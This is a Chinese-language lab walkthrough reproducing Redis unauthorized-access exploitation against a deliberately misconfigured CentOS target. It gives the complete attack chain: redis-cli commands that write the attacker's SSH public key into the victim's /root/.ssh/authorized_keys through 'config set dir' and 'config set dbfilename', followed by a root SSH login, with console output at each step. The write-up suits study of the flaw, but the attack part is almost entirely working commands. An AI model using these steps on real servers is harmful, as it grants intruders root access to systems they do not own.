漏洞的产生条件
（1）redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略，直接暴露在公网；
（2）没有设置密码认证（一般为空），可以免密码远程登录redis服务。
重现环境
- 靶机：
１、centos6.5-32bit，ip地址192.168.10.136
２、redis-3.2.9
（2.1）源码编译安装redis，出现错误
In file included from adlist.c:34:
zmalloc.h:50:31: error: jemalloc/jemalloc.h: No such file or directory
zmalloc.h:55:2: error: #error “Newer version of jemalloc required”
编译 redis 报错 error: jemalloc/jemalloc.h: No such file or directory
原因是jemalloc重载了Linux下的ANSI C的malloc和free函数。
解决办法：make时添加参数。
make MALLOC=libc make install mkdir /etc/redis cp redis.conf /etc/redis/
（2.2）redis配置文件
vi /etc/redis/redis.conf
注释#bind 127.0.0.1
protected-mode 改为no
protected-mode no
- 攻击机：
centos6.5-32bit，ip地址192.168.10.172
（1）、生成密钥对。
ssh-keygen -t rsa
# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
6d:54:ad:98:e8:04:52:47:e4:c3:d3:d5:e7:57:4c:f3 root@localhost.localdomain
The key’s randomart image is:
+–[ RSA 2048]—-+
| ..o+ oo +.|
| . .+ . o o *|
| . .=.oo . oE|
| o=o . o|
| oS o .|
| .. |
| |
| |
| |
+—————–+
在/root/.ssh/目录下生成id_rsa(密钥),id_rsa.pub(公钥)文件
（2）、将公钥内容存储到redis
(echo -e “\n\n”;cat /root/.ssh/id_rsa.pub;echo -e “\n\n”;) | /usr/local/bin/redis-cli -h 192.168.10.136 -x set redis_ssh_test
[root@localhost .ssh]# (echo -e “\n\n”;cat /root/.ssh/id_rsa.pub;echo -e “\n\n”;) | /usr/local/bin/redis-cli -h 192.168.10.136 -x set redis_ssh_test
OK
（3）、redis-cli远程连接redis，设置存储路径，并存储
/usr/local/bin/redis-cli -h 192.168.10.136
config set dir /root/.ssh 注意：靶机上/root/.ssh目录必须已经存在，否则设置不成功，提示(error) ERR Changing directory: No such file or directory
192.168.10.136:6379> config set dir /root/.ssh
OK
192.168.10.136:6379> config get dir
1) “dir”
2) “/root/.ssh”
192.168.10.136:6379> config set dbfilename authorized_keys
OK
192.168.10.136:6379> config get dbfilename
1) “dbfilename”
2) “authorized_keys”
192.168.10.136:6379> save
OK
192.168.10.136:6379> exit
- 最后
ssh root@192.168.10.136，执行后直接连接到靶机。
注意：centos系统ssh免密登录需要关闭selinux
相关文档：